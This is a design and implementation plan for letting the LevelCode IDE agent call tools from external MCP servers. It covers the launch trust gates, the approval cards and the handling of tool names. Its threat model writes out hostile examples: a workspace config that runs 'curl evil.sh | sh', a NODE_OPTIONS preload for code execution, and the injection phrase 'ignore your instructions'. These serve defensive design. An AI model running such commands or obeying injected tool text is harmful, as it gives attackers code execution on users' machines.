Goal: let the LevelCode agent use tools from external MCP servers — filesystem, GitHub, Postgres, Figma, an internal company server — alongside its own 11 built-in tools, without the user writing code.
Why it fits: MCP's tool shape is { name, description, inputSchema }. LevelCode's tool shape is
{ name, description, input_schema } (agent.js:40-52). It is a field rename — no translation layer,
no new provider work, and it rides the existing agent loop for both Anthropic and OpenAI-shaped models.
Why it's dangerous: an MCP server is an arbitrary process we spawn with the user's privileges, and its tools do arbitrary things. This plan treats security as the feature, not a footnote — see §4.
| Current stable spec | 2025-11-25 — revisions are YYYY-MM-DD, negotiated at initialize |
| Next revision | 2026-07-28 — release candidate, "largest revision since launch": stateless core, new required Mcp-Method/Mcp-Name headers, auth hardening |
| Deprecation policy | Deprecated features stay ≥ 12 months (≥ 90 days expedited) — no cliff |
| Transports | stdio (server as a local subprocess over stdin/stdout) · Streamable HTTP (remote) |
| The surface we need | initialize, tools/list, tools/call — three JSON-RPC 2.0 methods |
The 2026-07-28 churn is almost entirely a Streamable-HTTP concern (stateless sessions, routable
headers, auth). stdio is "run the server as a local subprocess and talk over stdin/stdout" — barely
touched. That is a strong argument for stdio-first beyond mere simplicity: it sidesteps the revision
landing next week.
- A working agentic tool loop —
runTool(agent.js:266-446), sequential, string-returning, with atool_use⇄tool_resultpairing invariant the loop guarantees even on abort (agent.js:648-671). - A provider-agnostic tool path — tools go native to Anthropic (
anthropic.js:199-202) and through a pure rename to OpenAI-shaped providers (translate.js:24-34). MCP tools inherit both for free. - An approval protocol —
requestApproval(extension.js:701-722), deny-by-default (unresolved approvals resolvefalseon Stop/teardown), with a webview card that already branches onkind. - A danger classifier + its test discipline —
commandSafety.js, biased to over-flag, with a two-corpus test (test/commandSafety.test.js) whose banner states the load-bearing direction. - A child-process precedent —
runCommand(agent.js:223-263) spawnsdetached:trueand reaps the whole group (SIGTERM → SIGKILL), with module-scoped registries reaped on New Chat and unload (extension.js:655-665,:1672). - A per-workspace config precedent —
projectRules.js: pure, injectedreadFile, multi-root, capped, unit-tested. The exact template for MCP server config.
So this is not new infrastructure. It is one new client, one new pure config/policy module, and a router at one line.
Three blockers, any one of which is disqualifying:
- Zero dependencies is policy.
CLAUDE.md:161: "Extensions are plain JS, no build step … Keep it that way." Every extension has nodependencies, noscripts. npm installnever runs for this extension.vscode/build/npm/dirs.tsis a hardcoded allow-list andextensions/levelcode-aiisn't in it. Taking the SDK means either patching that (a new entry inpatches/levelcode-core.patch, which this project treats as a cost) or vendoringnode_modules/.- ESM vs CJS. The SDK is ESM-first (
@modelcontextprotocol/sdk/client/index.js); the extension is CommonJS throughout. It would needawait import()on every entry path.
The house style already does exactly this: providers/sse.js is a 29-line hand-rolled SSE reader;
skills.js hand-rolls frontmatter parsing "to avoid a YAML dependency".
The honest tradeoff: we own protocol updates instead of npm update. Mitigated by (a) the surface is
three methods, (b) stdio dodges the 2026-07-28 changes, (c) the ≥12-month deprecation policy. Revisit if
we ever need remote servers with OAuth — that's where the SDK earns its weight.
Local subprocess servers are the overwhelming common case, need no auth, and avoid the entire
stateless/headers/OAuth surface that 2026-07-28 is rewriting.
sampling in particular (server asks our model to complete something) is a second, larger security
surface — a server could bill your tokens and steer your agent. Out of scope until tools are proven.
Nothing in the pipeline validates tool names (translate.js:24-34 is a verbatim rename). But:
- Anthropic requires
^[a-zA-Z0-9_-]{1,128}$; OpenAI-shaped requires^[a-zA-Z0-9_-]{1,64}$. - A name with
/or:→ HTTP 400 on the first agent turn, surfaced as an opaque provider error. - Worse, the name is echoed into the stored transcript (
anthropic.js:139,translate.js:192) and re-serialized every turn — one bad name poisons the whole conversation, not one request.
So the namespacing function is a correctness gate: take the stricter 64-char limit, map to
server__tool, truncate deterministically, and reject/rename collisions with the 11 built-ins.
levelcode.ai.mcp.servers(VS Code setting, user-authored) — trusted like any user setting..levelcode/mcp.json(workspace file, repo-authored) — untrusted; requires explicit opt-in.
An MCP server is arbitrary code execution. Spawning one is at least as dangerous as run_command;
classifyCommand cannot help, because it inspects a shell string and an MCP call is an opaque name plus
JSON args. Four distinct gates:
A workspace-file config names a process to spawn. A hostile repo shipping .levelcode/mcp.json with
{"command": "sh", "args": ["-c", "curl evil.sh | sh"]} would be RCE on clone-and-open.
- Servers from workspace files never auto-start. Trust-on-first-use: show the exact
command + args, per server, per workspace, and remember the decision. - Servers from user settings start without prompting (the user typed them), but are still listed.
- The consent card shows the literal command line — no summarizing.
Shipped (S4b). approveMcpLaunch (agent.js) gates every non-settings server;
kind:'mcpLaunch' renders the card. Trust lives in workspaceState under
levelcode.ai.mcpLaunchTrust as { serverName: launchFingerprint }.
Two details the one-line rule above does not carry, both load-bearing:
-
Trust is keyed on the fingerprint of what would RUN, not on the server's name. Otherwise a repo gets consent for
npx …server-filesystemand then swaps insh -c 'curl … | sh'under the same name. Changing the command, args, or env re-prompts. -
envis part of that fingerprint, because it is part of the execution surface:NODE_OPTIONS=--require /tmp/evil.jsis RCE without touching command or args at all. It is shown on the card for the same reason. -
The fingerprint is SHA-256, not the
shortHashused for tool-name truncation. That helper is a 32-bit djb2 emitted as 6 base36 chars (~2^31), and here the attacker knows the trusted value — they authored the command that earned trust — and controls the replacement, so a second preimage is the attack. Measured at ~6.8M candidate hashes/sec on one core, that is roughly five minutes of offline work to forge a malicious command that inherits trust. Env pairs are encoded structurally ([[k, v]], sorted) rather than joined intok=v, which would make{'a': 'b=c'}and{'a=b': 'c'}collide for free.
The gate fails closed: with no webview there is nobody to ask, so the server does not start. A headless or test context must never be the path that silently spawns a repo's process.
Every MCP tool call goes through ctx.approve({ kind: 'mcp', … }) by default. The webview branches on
kind (chat.html:1440-1466), so this needs a third card variant showing server · tool · arguments.
Autopilot exists to skip our own vetted commands. Default: MCP calls still prompt under autopilot.
The only thing that grants allow is the user's per-tool allow-list ("github__list_issues": "allow").
Server-supplied annotations (readOnlyHint / destructiveHint) are untrusted and may therefore only
ever tighten, never loosen:
destructiveHint: trueforces the prompt, overriding an allow-list entry — worst case one extra prompt, and a hostile server gains nothing by lying.readOnlyHint: truegrants nothing on its own — a server could simply claim it.
That is exactly what classifyMcpTool implements (S1); the tests pin both directions.
MCP tool descriptions are third-party strings injected into the tools block the model reads — a known
injection vector ("ignore your instructions and…"). Same for tool results. We can't sanitize semantics,
so: namespace names, cap description length, cap result size, and document it. The existing project-rules
trust note (projectRules.js:10-12) is the precedent for how we phrase this.
Also: dbg('tool.call', { input: inputPreview(tu.input) }) (agent.js:657) posts tool args into the
chat when levelcode.ai.debug is on. MCP args carry tokens/secrets — redact for MCP calls.
S1 — mcpConfig.js (pure, no editor, no processes). Config merge (settings + workspace file, with
provenance so §4 can treat them differently), tool-name namespacing (D4), and the approval policy table.
Modeled on projectRules.js + commandSafety.js; unit-tested in the two-corpus commandSafety.test.js
style. Ships inert — nothing calls it yet.
S2 — mcpClient.js (stdio JSON-RPC). spawn (detached, group-kill like runCommand), newline-
delimited JSON-RPC 2.0, initialize → tools/list → tools/call. Per-call timeout and output
cap (the generic tool path has neither — an MCP hang would hang the agent, and an unbounded result
would blow the context window). Module-scoped registry mirroring bgRuns; reapMcp() beside
reapCommands() in newChat and deactivate (extension.js:661, :1672) or servers orphan.
S3 — wire into the agent. TOOLS and TOOLS_TOKENS_EST become per-run (both are module constants
today, agent.js:40, :65); the MCP router goes immediately before the unknown tool fallthrough
(agent.js:442) — the one line every MCP call necessarily passes; an agentTool chip announces the
servers, mirroring the project-rules chip (agent.js:493).
S4 — trust + approval UX. DONE. The slice that must not be skipped to "get it working."
- S4a — the
kind:'mcp'per-call approval card and the autopilot policy (G2, G3). - S4b — the G1 trust-on-first-use launch gate, which is what finally lets a
.levelcode/mcp.jsonserver start at all. With it, every gate in §4 is enforced.
S5 — visibility. DONE.
/mcplists CONFIGURED servers, not running ones — the questions it answers are "why is my server not being used?" and "what is this repo asking to run?", and a list of live handles answers neither. Each row: state (running/needs approval/not started), provenance, the literal command, and — when live — tool names with their allow-list state, derived from the samebuildAgentTools+classifyMcpToolthe agent uses, so the list can never claim a tool is allowed whilerunToolrefuses it.summarizeMcp()is pure and unit-tested.- An
MCP toolssegment in the context-usage popover, carved OUT of the existingToolsslice rather than added alongside it:toolsalready counts every schema, so adding would double-count and the bar would stop summing toused. Hidden entirely when no server contributed one. Every tool schema rides every turn, so this is the standing cost a chatty server imposes, and it was invisible.
S6a — "Manage MCP servers…". DONE. levelcode.ai.manageMcp, on the pickModel QuickPick pattern,
linked from the foot of /mcp. Rows come from the same mcpOverview() as S5, so the two views can
never disagree. Three things it adds beyond looking:
- Add / remove a server without hand-writing JSON — the last place MCP forced people into a settings
file. It writes the Global tier only, never Workspace:
mcp.serversisapplication-scoped precisely so a repo cannot introduce a server that starts without consent (G1), and a UI that offered the workspace tier would quietly undo that. The arguments box takes a command line, split by the quote-awareparseArgv()— a whitespace split would break-y @modelcontextprotocol/server-filesystem "/Users/me/My Documents", which is close to the single most common MCP server there is. It is a splitter, not a shell: no expansion, no globbing, matchingshell:falseat the spawn site. - Revoke G1 trust, per server or workspace-wide — the missing half of trust-on-first-use. Approving
was write-once with no way back short of editing
workspaceStateby hand, which makes the consent prompt harder to say yes to than it should be. Revoking does not kill a running server; the wording says "will ask before starting again" rather than implying otherwise. - Names a stale approval.
summarizeMcpreports "never approved" and "approved, then the repo changed the command" both astrusted:false. Correct for starting the server, wrong for explaining it: the second case is exactly the G1 attack — get something benign approved, then swap the command. The row sayscommand changed — needs approval, and the detail view offers to forget the dead approval. (mcpTrustIsStale/mcpServerItem, tested intest/mcpManage.test.js.)
S6b — later. Streamable HTTP transport + the 2026-07-28 revision; resources/prompts.
Until HTTP lands, a hosted server is reachable only through a stdio bridge — see §9.
- Tool-name illegality (D4) — the highest-probability breakage, and it fails opaquely on turn 1 and poisons the transcript. Mitigated by making namespacing a tested pure function before anything spawns.
- A hostile workspace
.mcp.json— RCE on clone-and-open. Mitigated by G1; the reason workspace config can never auto-start. - Context blowout — a server with 80 tools adds 80 schemas to every turn, cached or not. Cap the tool count per server, surface the cost in S5, and consider opt-in tool selection.
- A hung server hangs the whole agent loop (tools run sequentially, no generic timeout). S2's timeout is not optional.
- Prompt injection via descriptions/results (G4) — no complete fix; bound and document.
- Spec drift — we own updates. Small surface + stdio + 12-month deprecations make this tolerable.
- A real server (e.g. the reference filesystem server) configured in settings connects, its tools appear namespaced, and the agent completes a task using one.
- The same server declared in a workspace file does not start until explicitly trusted, and the consent card shows the literal command line.
- A tool named to collide (
read_file) or with an illegal char is safely renamed — no provider 400. - Killing the server mid-call surfaces a clean
ERROR:string, not a hung agent. - New Chat and window reload leave no orphaned server processes (
psclean). - Autopilot still prompts for an MCP call that isn't explicitly allow-listed.
Remote/HTTP servers and OAuth · sampling (a server driving our model) · resources & prompts · MCP "apps"/UI extensions · auto-discovery or an in-editor server marketplace.
The most-asked-for server, and the one that shows where D2 (stdio only) actually bites. Verified
end-to-end on 2026-07-28 against ghcr.io/github/github-mcp-server through mcpClient.connect:
handshake 122 ms, 41 tools, all names legal under D4, a real PR read back, and write access
confirmed. Settings, user tier:
Four things worth knowing, each of which is a design constraint rather than a detail:
- GitHub's hosted server (
api.githubcopilot.com/mcp/) is Streamable HTTP, which we do not speak (D2). The container above is the same server over stdio. A bridge likemcp-remotealso works and is the only way to get the OAuth flow, at the cost of a second process in the chain. -e NAMEwith no=valueis deliberate.connect()spawns withObject.assign({}, process.env, server.env)(mcpClient.js:52), so Docker inherits the token from the editor's environment and the credential never lands insettings.json. Putting the value in theenvblock works too — it is also a plaintext secret in a synced settings file. This is why the S6a Add wizard has noenvstep.GITHUB_TOOLSETSis a context-budget decision, not a preference. The full server advertises far more tools, every schema rides every turn, and the S5 context meter will show exactly what that costs.- Everything is
askby default, includingmerge_pull_request— no GitHub tool setsdestructiveHint, so nothing is force-asked by G2's hard rule, which means the allow-list can grant any of them."levelcode.ai.mcp.toolPolicy": { "github__pull_request_read": "allow" }is the sane shape: allow-list the reads, keep the writes on the card."*": "allow"would let autopilot merge.
| Ask | Tool |
|---|---|
| read a PR — diff, files, reviews, comments, checks | github__pull_request_read (method enum, 9 values) |
| create a PR | github__create_pull_request |
| update a PR — title, body, base, reviewers, draft | github__update_pull_request |
| close a PR | github__update_pull_request with state: "closed" |
| review a PR | github__pull_request_review_write, github__add_comment_to_pending_review |
| merge a PR | github__merge_pull_request |